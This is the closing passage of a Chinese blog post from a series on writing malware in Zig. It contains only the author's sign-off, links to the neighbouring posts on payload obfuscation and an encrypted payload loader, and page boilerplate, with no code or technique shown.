如果對惡意程式開發或是惡意程式分析有興趣的話,這個系列會很適合你!最後也感謝大家的閱讀,歡迎順手按讚留言訂閱轉發(轉發可以讓朋友們知道你都在讀這種很技術的文章,他們會覺得你好帥好強好電,然後開始裝弱互相吹捧)~明天見!


上一篇
Day09 - 神出鬼沒的幻影綠鬣蜥:Payload 的加密與混淆(上)
下一篇
Day11 - 綠鬣蜥軍團實戰演練:惡意 Payload 混淆加密啟動器
系列文
Zig 世代惡意程式戰記:暗影綠鬣蜥 の 獠牙與劇毒!12
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言